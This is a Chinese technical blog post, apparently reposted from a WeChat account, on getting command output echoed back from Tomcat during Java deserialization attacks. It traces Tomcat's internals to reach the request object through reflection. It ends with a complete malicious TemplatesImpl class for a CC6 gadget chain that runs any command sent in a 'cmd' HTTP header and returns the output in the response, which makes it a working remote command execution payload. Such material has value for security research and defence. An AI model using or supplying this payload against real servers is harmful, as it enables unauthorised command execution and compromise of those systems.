五、 Tomcat回显
学会了打内存shell,就可以尝试回显了。先在testServlet.doGet打上断点,然后不断向上追踪request。
第一个request在org.apache.coyote.http11.Http11Processor.service()中
public SocketState service(SocketWrapperBase<?> socketWrapper)
throws IOException {
RequestInfo rp = request.getRequestProcessor();
rp.setStage(org.apache.coyote.Constants.STAGE_PARSE);
setSocketWrapper(socketWrapper);
跟进一下发现是父类org.apache.coyote.AbstractProcessor的属性。
public abstract class AbstractProcessor extends AbstractProcessorLight implements ActionHook {
private static final StringManager sm = StringManager.getManager(AbstractProcessor.class);
// Used to avoid useless B2C conversion on the host name.
protected char[] hostNameC = new char[0];
protected Adapter adapter;
protected final AsyncStateMachine asyncStateMachine;
private volatile long asyncTimeout = -1;
private volatile long asyncTimeoutGeneration = 0;
protected final AbstractEndpoint<?> endpoint;
protected final Request request;
protected final Response response;
protected volatile SocketWrapperBase<?>
AbstractProcessor实例化时,request和response被创建,并且request中包含response。
protected AbstractProcessor(AbstractEndpoint<?> endpoint, Request coyoteRequest,
Response coyoteResponse) {
this.endpoint = endpoint;
asyncStateMachine = new AsyncStateMachine(this);
request = coyoteRequest;
response = coyoteResponse;
response.setHook(this);
request.setResponse(response);
request.setHook(this);
userDataHelper = new UserDataHelper(getLog());
}
还存在getRequest()方法可以取出request
public Request getRequest() {
return request;
}
那么如果获取了Http11Processor,就可以获取request,在其父类的构造方法下断点,重启tomcat。
可以看到创建Http11Processor核心代码位于org.apache.coyote.http11.AbstractHttp11Protocol.createProcessor()
protected Processor createProcessor() {
Http11Processor processor = new Http11Processor(this, getEndpoint());
processor.setAdapter(getAdapter());
processor.setMaxKeepAliveRequests(getMaxKeepAliveRequests());
processor.setConnectionUploadTimeout(getConnectionUploadTimeout());
processor.setDisableUploadTimeout(getDisableUploadTimeout());
processor.setRestrictedUserAgents(getRestrictedUserAgents());
processor.setMaxSavePostSize(getMaxSavePostSize());
return processor;
}
其在org.apache.coyote.AbstractProtocol$ConnectionHandler.process()被调用,主要代码为。
public SocketState process(SocketWrapperBase<S> wrapper, SocketEvent status) {
S socket = wrapper.getSocket();
Processor processor = connections.get(socket);
if (processor == null) {
processor = getProtocol().createProcessor();
register(processor);
if (getLog().isDebugEnabled()) {
getLog().debug(sm.getString("abstractConnectionHandler.processorCreate", processor));
}
}
打断点代码时直接执行在createProcessor()上的,也就是说connections.get(socket)并没有获取到processor,而是进入if来注册processor。跟进ConnectionHandler.register()。
protected void register(Processor processor) {
if (getProtocol().getDomain() != null) {
synchronized (this) {
try {
long count = registerCount.incrementAndGet();
RequestInfo rp =
processor.getRequest().getRequestProcessor();
rp.setGlobalProcessor(global);
这里理解起来就很麻烦,首先RequestInfo是什么,跟进org.apache.coyote.Request.getRequestProcessor()
public RequestInfo getRequestProcessor() {
return reqProcessorMX;
}
reqProcessorMX又是什么。
private final RequestInfo reqProcessorMX=new RequestInfo(this);
再跟org.apache.coyote.RequestInfo()
public RequestInfo( Request req) {
this.req=req;
}
也就是说RequestInfo实际就是把Request打包放在自己的req属性中了。继续跟下一行代码,RequestInfo.setGlobalProcessor()
public void setGlobalProcessor(RequestGroupInfo global) {
if( global != null) {
this.global=global;
global.addRequestProcessor( this );
} else {
if (this.global != null) {
this.global.removeRequestProcessor( this );
this.global = null;
}
}
}
将RequestInfo的global属性设置为RequestGroupInfo,跟进RequestGroupInfo.addRequestProcessor()
public synchronized void addRequestProcessor( RequestInfo rp ) {
processors.add( rp );
}
processors是个RequestInfo的数组,又反过来将RequestGroupInfo的processors加入RequestInfo。等于循环套用,实际效果是这样的。
嗯,循环套娃。心在总结一下对象结构。
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request
现在问题变成了如何获取AbstractProtocol,同样的思路,在构造方法打断点,看看这个类是怎么生成的。
发现是在org.apache.catalina.connector.Connector.Connector()中用反射构造ProtocolHandler,然后一步一步往下生成的。
public Connector(String protocol) {
setProtocol(protocol);
// Instantiate protocol handler
ProtocolHandler p = null;
try {
Class<?> clazz = Class.forName(protocolHandlerClassName);
p = (ProtocolHandler) clazz.getConstructor().newInstance();
} catch (Exception e) {
log.error(sm.getString(
"coyoteConnector.protocolHandlerInstantiationFailed"), e);
} finally {
this.protocolHandler = p;
}
代码继续向下执行,可以看到Connector对象是这么一个构成。
现在的问题变成了如何获取Connector了,梳理对象结构。
Connector->protocolHandler
Http11NioProtocol->handler
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request
然而再次追踪Connector的来源就比较困难了,遍历前面的堆栈,只在org.apache.catalina.startup.Catalina.load()中发现蛛丝马迹。
public void load() {
if (loaded) {
return;
}
loaded = true;
long t1 = System.nanoTime();
initDirs();
// Before digester - it may be needed
initNaming();
// Create and execute our Digester
Digester digester = createStartDigester();
跟进Catalina.createStartDigester()
digester.addRule("Server/Service/Connector",
new ConnectorCreateRule());
digester.addRule("Server/Service/Connector",
new SetAllPropertiesRule(new String[]{"executor", "sslImplementationName"}));
digester.addSetNext("Server/Service/Connector",
"addConnector",
"org.apache.catalina.connector.Connector");
可以看到,digester属性将大量命名空间,类名,方法加入Rules,以供后面复杂的反射调用,其中就包括Connector。
那么这个addConnector就是关键,全局搜索后发现在org.apache.catalina.core.StandardService.addConnector()
public void addConnector(Connector connector) {
synchronized (connectorsLock) {
connector.setService(this);
Connector results[] = new Connector[connectors.length + 1];
System.arraycopy(connectors, 0, results, 0, connectors.length);
results[connectors.length] = connector;
connectors = results;
最终将Connectors放入connectors数组属性。那么现在要获取的就是StandardService。我们再回到内存shell,关于获取StandardContext的jsp代码。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
out.println(standardContext);
%>
下好断点可以在standardContext的属性中找到。
这样整个对象结构就清晰了。
StandardContext->context
ApplicationContext->service
StandardService->connectors[1]
Connector->protocolHandler
Http11NioProtocol->handler
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request
我们现在可以一步一步来获取request了,优先使用getter,其次用反射。
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.ProtocolHandler" %>
<%@ page import="org.apache.coyote.AbstractProtocol" %>
<%@ page import="org.apache.coyote.RequestGroupInfo" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Request" %>
<%!
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ApplicationContext applicationContext = (ApplicationContext) getFieldValue(standardContext, "context");
StandardService standardService = (StandardService) getFieldValue(applicationContext, "service");
Connector connector = standardService.findConnectors()[0];
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object object = getHandler.invoke(protocolHandler);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) object.getClass().getMethod("getGlobal").invoke(object);
ArrayList<RequestInfo> arrayList = (ArrayList) getFieldValue(requestGroupInfo, "processors");
RequestInfo requestInfo = arrayList.get(0);
Request req = (Request)getFieldValue(requestInfo, "req");
System.out.println(req.getHeader("host"));
out.println(req.getHeader("host"));
%>
通过Request获取的host成功打印出来,可以尝试用Response回显。
Response resp = req.getResponse();
resp.doWrite(ByteBuffer.wrap("sonomon".getBytes("UTF-8")));
TemplatesImplCC6加载恶意类如下,依赖tomcat-catalina-8.5.57.jar和tomcat-coyote-8.5.57.jar
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Scanner;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
public class TemplatesImplTomcat8cmdecho extends AbstractTranslet {
public TemplatesImplTomcat8cmdecho() throws Exception {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ApplicationContext applicationContext = (ApplicationContext) getFieldValue(standardContext, "context");
StandardService standardService = (StandardService) getFieldValue(applicationContext, "service");
Connector connector = standardService.findConnectors()[0];
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object object = getHandler.invoke(protocolHandler);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) object.getClass().getMethod("getGlobal").invoke(object);
ArrayList<RequestInfo> arrayList = (ArrayList) getFieldValue(requestGroupInfo, "processors");
RequestInfo requestInfo = arrayList.get(0);
org.apache.coyote.Request req = (org.apache.coyote.Request)getFieldValue(requestInfo, "req");
String cmd = "whoami";
if (req.getHeader("cmd") != null) {
cmd = req.getHeader("cmd");
} else {
}
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
req.getResponse().doWrite(ByteBuffer.wrap(output.getBytes("UTF-8")));
req.getResponse().getBytesWritten(true);
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}
效果如下
原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(2)